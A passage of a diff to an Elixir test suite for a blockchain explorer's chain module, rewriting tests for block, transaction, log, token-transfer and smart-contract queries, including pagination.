Enum.each([0, 2], &insert(:block, number: &1)) + describe "get_blocks_validated_by_address/2" do + test "returns nothing when there are no blocks" do + %Address{hash: address_hash} = insert(:address) - assert Chain.missing_block_number_ranges(0..0) == [] + assert [] = Chain.get_blocks_validated_by_address(address_hash) end - # 1011 - test "0..0 with blocks 0,2,3" do - Enum.each([0, 2, 3], &insert(:block, number: &1)) + test "returns the blocks validated by a specified address" do + %Address{hash: address_hash} = address = insert(:address) + another_address = insert(:address) - assert Chain.missing_block_number_ranges(0..0) == [] - end + block = insert(:block, miner: address, miner_hash: address.hash) + insert(:block, miner: another_address, miner_hash: another_address.hash) - # 1100 - test "0..0 with blocks 0..1" do - Enum.each(0..1, &insert(:block, number: &1)) + results = + address_hash + |> Chain.get_blocks_validated_by_address() + |> Enum.map(& &1.hash) - assert Chain.missing_block_number_ranges(0..0) == [] + assert results == [block.hash] end - # 1101 - test "0..0 with blocks 0,1,3" do - Enum.each([0, 1, 3], fn num -> - insert(:block, number: num) - Process.sleep(200) - end) + test "with blocks can be paginated" do + %Address{hash: address_hash} = address = insert(:address) - assert Chain.missing_block_number_ranges(0..0) == [] - end + first_page_block = insert(:block, miner: address, miner_hash: address.hash, number: 0) + second_page_block = insert(:block, miner: address, miner_hash: address.hash, number: 2) - # 1110 - test "0..0 with blocks 0..2" do - Enum.each(0..2, &insert(:block, number: &1)) + assert [first_page_block.number] == + [paging_options: %PagingOptions{key: {1}, page_size: 1}] + |> Chain.get_blocks_validated_by_address(address_hash) + |> Enum.map(& &1.number) + |> Enum.reverse() - assert Chain.missing_block_number_ranges(0..0) == [] + assert [second_page_block.number] == + [paging_options: %PagingOptions{key: {3}, page_size: 1}] + |> Chain.get_blocks_validated_by_address(address_hash) + |> Enum.map(& &1.number) + |> Enum.reverse() end + end - # 1111 - test "0..0 with blocks 0..3" do - Enum.each(0..2, fn num -> - insert(:block, number: num) - Process.sleep(200) - end) - - assert Chain.missing_block_number_ranges(0..0) == [] + describe "number_to_block/1" do + test "without block" do + assert {:error, :not_found} = Chain.number_to_block(-1) end - test "0..2 with block 1" do - insert(:block, number: 1) + test "with block" do + %Block{number: number} = insert(:block) - assert Chain.missing_block_number_ranges(0..2) == [0..0, 2..2] + assert {:ok, %Block{number: ^number}} = Chain.number_to_block(number) end end - describe "recent_collated_transactions/1" do - test "with no collated transactions it returns an empty list" do - assert [] == Explorer.Chain.recent_collated_transactions() + describe "pending_transactions/0" do + test "without transactions" do + assert [] = Chain.recent_pending_transactions() end - test "it excludes pending transactions" do - insert(:transaction) - assert [] == Explorer.Chain.recent_collated_transactions() + test "with transactions" do + %Transaction{hash: hash} = insert(:transaction) + + assert [%Transaction{hash: ^hash}] = Chain.recent_pending_transactions() end - test "returns a list of recent collated transactions" do - newest_first_transactions = + test "with transactions can be paginated" do + second_page_hashes = 50 |> insert_list(:transaction) - |> with_block() - |> Enum.reverse() + |> Enum.map(& &1.hash) - oldest_seen = Enum.at(newest_first_transactions, 9) - paging_options = %Explorer.PagingOptions{page_size: 10, key: {oldest_seen.block_number, oldest_seen.index}} - recent_collated_transactions = Explorer.Chain.recent_collated_transactions(paging_options: paging_options) + %Transaction{inserted_at: inserted_at, hash: hash} = insert(:transaction) - assert length(recent_collated_transactions) == 10 - assert hd(recent_collated_transactions).hash == Enum.at(newest_first_transactions, 10).hash + assert second_page_hashes == + [paging_options: %PagingOptions{key: {inserted_at, hash}, page_size: 50}] + |> Chain.recent_pending_transactions() + |> Enum.map(& &1.hash) + |> Enum.reverse() end + end - test "returns transactions with token_transfers preloaded" do - address = insert(:address) - token_contract_address = insert(:contract_address) - token = insert(:token, contract_address: token_contract_address) - - transaction = - :transaction - |> insert() - |> with_block() - - insert_list( - 2, - :token_transfer, - to_address: address, - transaction: transaction, - token_contract_address: token_contract_address, - token: token - ) + describe "transaction_estimated_count/1" do + setup do + Supervisor.terminate_child(Explorer.Supervisor, Explorer.Chain.Cache.Counters.TransactionsCount.child_id()) + Supervisor.restart_child(Explorer.Supervisor, Explorer.Chain.Cache.Counters.TransactionsCount.child_id()) + :ok + end - fetched_transaction = List.first(Explorer.Chain.recent_collated_transactions()) - assert fetched_transaction.hash == transaction.hash - assert length(fetched_transaction.token_transfers) == 2 + test "returns integer" do + assert is_integer(TransactionsCount.get()) end end - describe "smart_contract_bytecode/1" do - test "fetches the smart contract bytecode" do - smart_contract_bytecode = - "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" + describe "transaction_to_logs/3" do + test "without logs" do + transaction = insert(:transaction) - created_contract_address = insert(:address, contract_code: smart_contract_bytecode) + assert [] = Chain.transaction_to_logs(transaction.hash) + end + test "with logs" do transaction = :transaction |> insert() |> with_block() - insert( - :internal_transaction_create, - transaction: transaction, - index: 0, - created_contract_address: created_contract_address, - created_contract_code: smart_contract_bytecode, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + %Log{transaction_hash: transaction_hash, index: index} = + insert(:log, transaction: transaction, block: transaction.block, block_number: transaction.block_number) - assert Chain.smart_contract_bytecode(created_contract_address.hash) == smart_contract_bytecode + assert [%Log{transaction_hash: ^transaction_hash, index: ^index}] = Chain.transaction_to_logs(transaction.hash) end - end - describe "create_decompiled_smart_contract/1" do - test "with valid params creates decompiled smart contract" do - address_hash = to_string(insert(:address).hash) - decompiler_version = "test_decompiler" - decompiled_source_code = "hello world" + test "with logs can be paginated" do + transaction = + :transaction + |> insert() + |> with_block() - params = %{ - address_hash: address_hash, - decompiler_version: decompiler_version, - decompiled_source_code: decompiled_source_code - } + log = + insert(:log, + transaction: transaction, + index: 1, + block: transaction.block, + block_number: transaction.block_number + ) - {:ok, decompiled_smart_contract} = Chain.create_decompiled_smart_contract(params) + second_page_indexes = + 2..51 + |> Enum.map(fn index -> + insert(:log, + transaction: transaction, + index: index, + block: transaction.block, + block_number: transaction.block_number + ) + end) + |> Enum.map(& &1.index) - assert decompiled_smart_contract.decompiler_version == decompiler_version - assert decompiled_smart_contract.decompiled_source_code == decompiled_source_code - assert address_hash == to_string(decompiled_smart_contract.address_hash) + assert second_page_indexes == + transaction.hash + |> Chain.transaction_to_logs(paging_options: %PagingOptions{key: {log.index}, page_size: 50}) + |> Enum.map(& &1.index) end - test "with invalid params can't create decompiled smart contract" do - params = %{code: "cat"} + test "with logs necessity_by_association loads associations" do + transaction = + :transaction + |> insert() + |> with_block() - {:error, _changeset} = Chain.create_decompiled_smart_contract(params) - end + insert(:log, transaction: transaction, block: transaction.block, block_number: transaction.block_number) - test "updates smart contract code" do - inserted_decompiled_smart_contract = insert(:decompiled_smart_contract) - code = "code2" + assert [%Log{address: %Address{}, transaction: %Transaction{}}] = + Chain.transaction_to_logs( + transaction.hash, + necessity_by_association: %{ + address: :optional, + transaction: :optional + } + ) - {:ok, _decompiled_smart_contract} = - Chain.create_decompiled_smart_contract(%{ - decompiler_version: inserted_decompiled_smart_contract.decompiler_version, - decompiled_source_code: code, - address_hash: inserted_decompiled_smart_contract.address_hash - }) + assert [ + %Log{ + address: %Ecto.Association.NotLoaded{}, + transaction: %Ecto.Association.NotLoaded{} + } + ] = Chain.transaction_to_logs(transaction.hash) + end + end - decompiled_smart_contract = - Repo.one( - from(ds in DecompiledSmartContract, - where: - ds.address_hash == ^inserted_decompiled_smart_contract.address_hash and - ds.decompiler_version == ^inserted_decompiled_smart_contract.decompiler_version - ) - ) + describe "transaction_to_token_transfers/2" do + test "without token transfers" do + transaction = insert(:transaction) - assert decompiled_smart_contract.decompiled_source_code == code + assert [] = Chain.transaction_to_token_transfers(transaction.hash) end - test "creates two smart contracts for different decompiler versions" do - inserted_decompiled_smart_contract = insert(:decompiled_smart_contract) - code = "code2" - version = "2" - - {:ok, _decompiled_smart_contract} = - Chain.create_decompiled_smart_contract(%{ - decompiler_version: version, - decompiled_source_code: code, - address_hash: inserted_decompiled_smart_contract.address_hash - }) + test "with token transfers" do + transaction = + :transaction + |> insert() + |> with_block() - decompiled_smart_contracts = - Repo.all( - from(ds in DecompiledSmartContract, where: ds.address_hash == ^inserted_decompiled_smart_contract.address_hash) + %TokenTransfer{transaction_hash: transaction_hash, log_index: log_index} = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number ) - assert Enum.count(decompiled_smart_contracts) == 2 + assert [%TokenTransfer{transaction_hash: ^transaction_hash, log_index: ^log_index}] = + Chain.transaction_to_token_transfers(transaction.hash) end - end - - describe "create_smart_contract/1" do - setup do - smart_contract_bytecode = - "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" - - created_contract_address = - insert( - :address, - hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", - contract_code: smart_contract_bytecode - ) + test "token transfers necessity_by_association loads associations" do transaction = :transaction |> insert() |> with_block() - insert( - :internal_transaction_create, + insert(:token_transfer, transaction: transaction, - index: 0, - created_contract_address: created_contract_address, - created_contract_code: smart_contract_bytecode, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index + block: transaction.block, + block_number: transaction.block_number ) - valid_attrs = %{ - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", - name: "SimpleStorage", - compiler_version: "0.4.23", - optimization: false, - contract_source_code: - "pragma solidity ^0.4.23; contract SimpleStorage {uint storedData; function set(uint x) public {storedData = x; } function get() public constant returns (uint) {return storedData; } }", - abi: [ - %{ - "constant" => false, - "inputs" => [%{"name" => "x", "type" => "uint256"}], - "name" => "set", - "outputs" => [], - "payable" => false, - "stateMutability" => "nonpayable", - "type" => "function" - }, - %{ - "constant" => true, - "inputs" => [], - "name" => "get", - "outputs" => [%{"name" => "", "type" => "uint256"}], - "payable" => false, - "stateMutability" => "view", - "type" => "function" - } - ] - } + assert [%TokenTransfer{token: %Token{}, transaction: %Transaction{}}] = + Chain.transaction_to_token_transfers( + transaction.hash, + necessity_by_association: %{ + token: :optional, + transaction: :optional + } + ) - {:ok, valid_attrs: valid_attrs, address: created_contract_address} + assert [ + %TokenTransfer{ + token: %Token{}, + transaction: %Ecto.Association.NotLoaded{} + } + ] = Chain.transaction_to_token_transfers(transaction.hash) end - test "with valid data creates a smart contract", %{valid_attrs: valid_attrs} do - assert {:ok, %SmartContract{} = smart_contract} = Chain.create_smart_contract(valid_attrs) - assert smart_contract.name == "SimpleStorage" - assert smart_contract.compiler_version == "0.4.23" - assert smart_contract.optimization == false - assert smart_contract.contract_source_code != "" - assert smart_contract.abi != "" + test "token transfers ordered by ASC log_index" do + transaction = + :transaction + |> insert() + |> with_block() + + token_transfer_0 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 0 + ) - assert Repo.get_by( - Address.Name, - address_hash: smart_contract.address_hash, - name: smart_contract.name, - primary: true - ) - end + token_transfer_4 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 4 + ) - test "clears an existing primary name and sets the new one", %{valid_attrs: valid_attrs, address: address} do - insert(:address_name, address: address, primary: true) - assert {:ok, %SmartContract{} = smart_contract} = Chain.create_smart_contract(valid_attrs) + token_transfer_2 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 2 + ) - assert Repo.get_by( - Address.Name, - address_hash: smart_contract.address_hash, - name: smart_contract.name, - primary: true - ) - end + token_transfer_1 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 1 + ) - test "trims whitespace from address name", %{valid_attrs: valid_attrs} do - attrs = %{valid_attrs | name: " SimpleStorage "} - assert {:ok, _} = Chain.create_smart_contract(attrs) - assert Repo.get_by(Address.Name, name: "SimpleStorage") - end + token_transfer_3 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 3 + ) - test "sets the address verified field to true", %{valid_attrs: valid_attrs} do - assert {:ok, %SmartContract{} = smart_contract} = Chain.create_smart_contract(valid_attrs) + token_transfers_sorted = + [token_transfer_0, token_transfer_1, token_transfer_2, token_transfer_3, token_transfer_4] + |> Enum.map(&{&1.transaction_hash, &1.log_index}) - assert Repo.get_by(Address, hash: smart_contract.address_hash).verified == true - end - end + token_transfers_unsorted = + [token_transfer_1, token_transfer_0, token_transfer_2, token_transfer_3, token_transfer_4] + |> Enum.map(&{&1.transaction_hash, &1.log_index}) - describe "update_smart_contract/1" do - setup do - smart_contract_bytecode = - "0x608060405234801561001057600080fd5b5060df8061001f6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806360fe47b114604e5780636d4ce63c146078575b600080fd5b348015605957600080fd5b5060766004803603810190808035906020019092919050505060a0565b005b348015608357600080fd5b50608a60aa565b6040518082815260200191505060405180910390f35b8060008190555050565b600080549050905600a165627a7a7230582040d82a7379b1ee1632ad4d8a239954fd940277b25628ead95259a85c5eddb2120029" + assert token_transfers_sorted == + transaction.hash + |> Chain.transaction_to_token_transfers( + necessity_by_association: %{ + token: :optional, + transaction: :optional + } + ) + |> Enum.map(&{&1.transaction_hash, &1.log_index}) - created_contract_address = - insert( - :address, - hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", - contract_code: smart_contract_bytecode - ) + assert token_transfers_unsorted != + transaction.hash + |> Chain.transaction_to_token_transfers( + necessity_by_association: %{ + token: :optional, + transaction: :optional + } + ) + |> Enum.map(&{&1.transaction_hash, &1.log_index}) + end + test "token transfers can be paginated" do transaction = :transaction |> insert() |> with_block() - insert( - :internal_transaction_create, - transaction: transaction, - index: 0, - created_contract_address: created_contract_address, - created_contract_code: smart_contract_bytecode, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + token_transfer_0 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 0 + ) - valid_attrs = %{ - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c", - name: "SimpleStorage", - compiler_version: "0.4.23", - optimization: false, - contract_source_code: - "pragma solidity ^0.4.23; contract SimpleStorage {uint storedData; function set(uint x) public {storedData = x; } function get() public constant returns (uint) {return storedData; } }", - abi: [ - %{ - "constant" => false, - "inputs" => [%{"name" => "x", "type" => "uint256"}], - "name" => "set", - "outputs" => [], - "payable" => false, - "stateMutability" => "nonpayable", - "type" => "function" - }, - %{ - "constant" => true, - "inputs" => [], - "name" => "get", - "outputs" => [%{"name" => "", "type" => "uint256"}], - "payable" => false, - "stateMutability" => "view", - "type" => "function" - } - ], - partially_verified: true - } + token_transfer_4 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 4 + ) + + token_transfer_2 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 2 + ) + + token_transfer_1 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 1 + ) + + token_transfer_3 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 3 + ) - secondary_sources = [ - %{ - file_name: "storage.sol", - contract_source_code: - "pragma solidity >=0.7.0 <0.9.0;contract Storage {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" - }, - %{ - file_name: "storage_1.sol", - contract_source_code: - "pragma solidity >=0.7.0 <0.9.0;contract Storage_1 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" - } - ] + token_transfer_6 = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + log_index: 6 + ) - changed_sources = [ - %{ - file_name: "storage_2.sol", - contract_source_code: - "pragma solidity >=0.7.0 <0.9.0;contract Storage_2 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" - }, - %{ - file_name: "storage_3.sol", - contract_source_code: - "pragma solidity >=0.7.0 <0.9.0;contract Storage_3 {uint256 number;function store(uint256 num) public {number = num;}function retrieve_() public view returns (uint256){return number;}}", - address_hash: "0x0f95fa9bc0383e699325f2658d04e8d96d87b90c" - } - ] + token_transfers_first_page = + [token_transfer_0, token_transfer_1, token_transfer_2] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - _ = Chain.create_smart_contract(valid_attrs, [], secondary_sources) + token_transfers_second_page = + [token_transfer_2, token_transfer_3, token_transfer_4] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - {:ok, - valid_attrs: valid_attrs, - address: created_contract_address, - secondary_sources: secondary_sources, - changed_sources: changed_sources} - end + token_transfers_third_page = + [token_transfer_4, token_transfer_6] |> Enum.map(&{&1.transaction_hash, &1.log_index}) - test "change partially_verified field", %{valid_attrs: valid_attrs, address: address} do - sc_before_call = Repo.get_by(SmartContract, address_hash: address.hash) - assert sc_before_call.name == Map.get(valid_attrs, :name) - assert sc_before_call.partially_verified == Map.get(valid_attrs, :partially_verified) + assert token_transfers_first_page == + transaction.hash + |> Chain.transaction_to_token_transfers( + necessity_by_association: %{ + token: :optional, + transaction: :optional + }, + paging_options: %PagingOptions{ + page_size: 3 + } + ) + |> Enum.map(&{&1.transaction_hash, &1.log_index}) - assert {:ok, %SmartContract{}} = - Chain.update_smart_contract(%{address_hash: address.hash, partially_verified: false}) + assert token_transfers_second_page == + transaction.hash + |> Chain.transaction_to_token_transfers( + necessity_by_association: %{ + token: :optional, + transaction: :optional + }, + paging_options: %PagingOptions{ + key: {transaction.block_number, 1}, + page_size: 3 + } + ) + |> Enum.map(&{&1.transaction_hash, &1.log_index}) - sc_after_call = Repo.get_by(SmartContract, address_hash: address.hash) - assert sc_after_call.name == Map.get(valid_attrs, :name) - assert sc_after_call.partially_verified == false - assert sc_after_call.compiler_version == Map.get(valid_attrs, :compiler_version) - assert sc_after_call.optimization == Map.get(valid_attrs, :optimization) - assert sc_after_call.contract_source_code == Map.get(valid_attrs, :contract_source_code) + assert token_transfers_third_page == + transaction.hash + |> Chain.transaction_to_token_transfers( + necessity_by_association: %{ + token: :optional, + transaction: :optional + }, + paging_options: %PagingOptions{ + key: {transaction.block_number, 3}, + page_size: 3 + } + ) + |> Enum.map(&{&1.transaction_hash, &1.log_index}) end + end - test "check nothing changed", %{valid_attrs: valid_attrs, address: address} do - sc_before_call = Repo.get_by(SmartContract, address_hash: address.hash) - assert sc_before_call.name == Map.get(valid_attrs, :name) - assert sc_before_call.partially_verified == Map.get(valid_attrs, :partially_verified) - - assert {:ok, %SmartContract{}} = Chain.update_smart_contract(%{address_hash: address.hash}) - - sc_after_call = Repo.get_by(SmartContract, address_hash: address.hash) - assert sc_after_call.name == Map.get(valid_attrs, :name) - assert sc_after_call.partially_verified == Map.get(valid_attrs, :partially_verified) - assert sc_after_call.compiler_version == Map.get(valid_attrs, :compiler_version) - assert sc_after_call.optimization == Map.get(valid_attrs, :optimization) - assert sc_after_call.contract_source_code == Map.get(valid_attrs, :contract_source_code) + describe "value/2" do + test "with InternalTransaction.t with :wei" do + assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) end - test "check additional sources update", %{ - address: address, - secondary_sources: secondary_sources, - changed_sources: changed_sources - } do - sc_before_call = Repo.get_by(Address, hash: address.hash) |> Repo.preload(:smart_contract_additional_sources) + test "with InternalTransaction.t with :gwei" do + assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") - assert sc_before_call.smart_contract_additional_sources - |> Enum.with_index() - |> Enum.all?(fn {el, ind} -> - {:ok, src} = Enum.fetch(secondary_sources, ind) + assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) + end - el.file_name == Map.get(src, :file_name) and - el.contract_source_code == Map.get(src, :contract_source_code) - end) + test "with InternalTransaction.t with :ether" do + assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") - assert {:ok, %SmartContract{}} = Chain.update_smart_contract(%{address_hash: address.hash}, [], changed_sources) + assert Chain.value(%InternalTransaction{value: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) + end - sc_after_call = Repo.get_by(Address, hash: address.hash) |> Repo.preload(:smart_contract_additional_sources) + test "with Transaction.t with :wei" do + assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :wei) == Decimal.new(1) + end - assert sc_after_call.smart_contract_additional_sources - |> Enum.with_index() - |> Enum.all?(fn {el, ind} -> - {:ok, src} = Enum.fetch(changed_sources, ind) + test "with Transaction.t with :gwei" do + assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :gwei) == Decimal.new("1e-9") + assert Chain.value(%Transaction{value: %Wei{value: Decimal.new("1e9")}}, :gwei) == Decimal.new(1) + end - el.file_name == Map.get(src, :file_name) and - el.contract_source_code == Map.get(src, :contract_source_code) - end) + test "with Transaction.t with :ether" do + assert Chain.value(%Transaction{value: %Wei{value: Decimal.new(1)}}, :ether) == Decimal.new("1e-18") + assert Chain.value(%Transaction{value: %Wei{value: Decimal.new("1e18")}}, :ether) == Decimal.new(1) end end - describe "stream_unfetched_balances/2" do - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.Block.t/0` `miner_hash`" do - %Address{hash: miner_hash} = miner = insert(:address) - %Block{number: block_number} = insert(:block, miner: miner) - balance = insert(:unfetched_balance, address_hash: miner_hash, block_number: block_number) - - assert {:ok, [%{address_hash: ^miner_hash, block_number: ^block_number}]} = - Chain.stream_unfetched_balances([], &[&1 | &2]) + describe "find_contract_address/1" do + test "doesn't find an address that doesn't have a code" do + address = insert(:address, contract_code: nil) - update_balance_value(balance, 1) + response = Chain.find_contract_address(address.hash) - assert {:ok, []} = Chain.stream_unfetched_balances([], &[&1 | &2]) + assert {:error, :not_found} == response end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.Transaction.t/0` `from_address_hash`" do - %Address{hash: from_address_hash} = from_address = insert(:address) - %Block{number: block_number} = block = insert(:block) - - :transaction - |> insert(from_address: from_address) - |> with_block(block) - - balance = insert(:unfetched_balance, address_hash: from_address_hash, block_number: block_number) - - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) - - assert %{address_hash: from_address_hash, block_number: block_number} in balance_fields_list - - update_balance_value(balance, 1) + test "doesn't find a nonexistent address" do + nonexistent_address_hash = Factory.address_hash() - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + response = Chain.find_contract_address(nonexistent_address_hash) - refute %{address_hash: from_address_hash, block_number: block_number} in balance_fields_list + assert {:error, :not_found} == response end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.Transaction.t/0` `to_address_hash`" do - %Address{hash: to_address_hash} = to_address = insert(:address) - %Block{number: block_number} = block = insert(:block) - - :transaction - |> insert(to_address: to_address) - |> with_block(block) - - balance = insert(:unfetched_balance, address_hash: to_address_hash, block_number: block_number) - - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end + test "finds a contract address" do + address = + insert(:address, contract_code: Factory.data("contract_code"), smart_contract: nil, names: []) + |> Repo.preload( + [ + :token, + [smart_contract: :smart_contract_additional_sources], + Explorer.Chain.SmartContract.Proxy.Models.Implementation.proxy_implementations_association() + ] ++ Address.contract_creation_transaction_associations() ) - assert %{address_hash: to_address_hash, block_number: block_number} in balance_fields_list - - update_balance_value(balance, 1) + options = [ + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + :token => :optional, + Address.contract_creation_transaction_associations() => :optional + } + ] - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + response = Chain.find_contract_address(address.hash, options) - refute %{address_hash: to_address_hash, block_number: block_number} in balance_fields_list + assert response == {:ok, address} end + end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.Log.t/0` `address_hash`" do - address = insert(:address) - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block) - - insert(:log, address: address, transaction: transaction) - - balance = insert(:unfetched_balance, address_hash: address.hash, block_number: block.number) - - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) - - assert %{ - address_hash: address.hash, - block_number: block.number - } in balance_fields_list - - update_balance_value(balance, 1) + describe "gas_payment_by_block_hash/1" do + setup do + number = 1 - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + block = insert(:block, number: number, consensus: true) - refute %{ - address_hash: address.hash, - block_number: block.number - } in balance_fields_list + %{consensus_block: block, number: number} end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.InternalTransaction.t/0` `created_contract_address_hash`" do - created_contract_address = insert(:address) - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block) - - insert( - :internal_transaction_create, - created_contract_address: created_contract_address, - index: 0, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) - - balance = insert(:unfetched_balance, address_hash: created_contract_address.hash, block_number: block.number) - - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) - - assert %{ - address_hash: created_contract_address.hash, - block_number: block.number - } in balance_fields_list + test "without consensus block hash has key with 0 value", %{consensus_block: consensus_block, number: number} do + non_consensus_block = insert(:block, number: number, consensus: false) - update_balance_value(balance, 1) + :transaction + |> insert(gas_price: 1, block_consensus: false) + |> with_block(consensus_block, gas_used: 1) - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + :transaction + |> insert(gas_price: 1, block_consensus: false) + |> with_block(consensus_block, gas_used: 2) - refute %{ - address_hash: created_contract_address.hash, - block_number: block.number - } in balance_fields_list + assert Chain.gas_payment_by_block_hash([non_consensus_block.hash]) == %{ + non_consensus_block.hash => %Wei{value: Decimal.new(0)} + } end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return `t:Explorer.Chain.InternalTransaction.t/0` `from_address_hash`" do - from_address = insert(:address) - block = insert(:block) + test "with consensus block hash without transactions has key with 0 value", %{ + consensus_block: %Block{hash: consensus_block_hash} + } do + assert Chain.gas_payment_by_block_hash([consensus_block_hash]) == %{ + consensus_block_hash => %Wei{value: Decimal.new(0)} + } + end - transaction = - :transaction - |> insert() - |> with_block(block) + test "with consensus block hash with transactions has key with value", %{ + consensus_block: %Block{hash: consensus_block_hash} = consensus_block + } do + :transaction + |> insert(gas_price: 1) + |> with_block(consensus_block, gas_used: 2) - insert( - :internal_transaction_create, - from_address: from_address, - index: 0, - transaction: transaction, - block_number: transaction.block_number, - block_hash: transaction.block_hash, - block_index: 0, - transaction_index: transaction.index - ) + :transaction + |> insert(gas_price: 3) + |> with_block(consensus_block, gas_used: 4) - balance = insert(:unfetched_balance, address_hash: from_address.hash, block_number: block.number) + assert Chain.gas_payment_by_block_hash([consensus_block_hash]) == %{ + consensus_block_hash => %Wei{value: Decimal.new(14)} + } + end + end - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + describe "missing_block_number_ranges/1" do + # 0000 + test "0..0 without blocks" do + assert Chain.missing_block_number_ranges(0..0) == [0..0] + end - assert %{address_hash: from_address.hash, block_number: block.number} in balance_fields_list + # 0001 + test "0..0 with block 3" do + insert(:block, number: 3) - update_balance_value(balance, 1) + assert Chain.missing_block_number_ranges(0..0) == [0..0] + end - {:ok, balance_fields_list} = - Explorer.Chain.stream_unfetched_balances( - [], - fn balance_fields, acc -> [balance_fields | acc] end - ) + # 0010 + test "0..0 with block 2" do + insert(:block, number: 2) - refute %{address_hash: from_address.hash, block_number: block.number} in balance_fields_list + assert Chain.missing_block_number_ranges(0..0) == [0..0] end - test "with `t:Explorer.Chain.Address.CoinBalance.t/0` with value_fetched_at with same `address_hash` and `block_number` " <> - "does not return 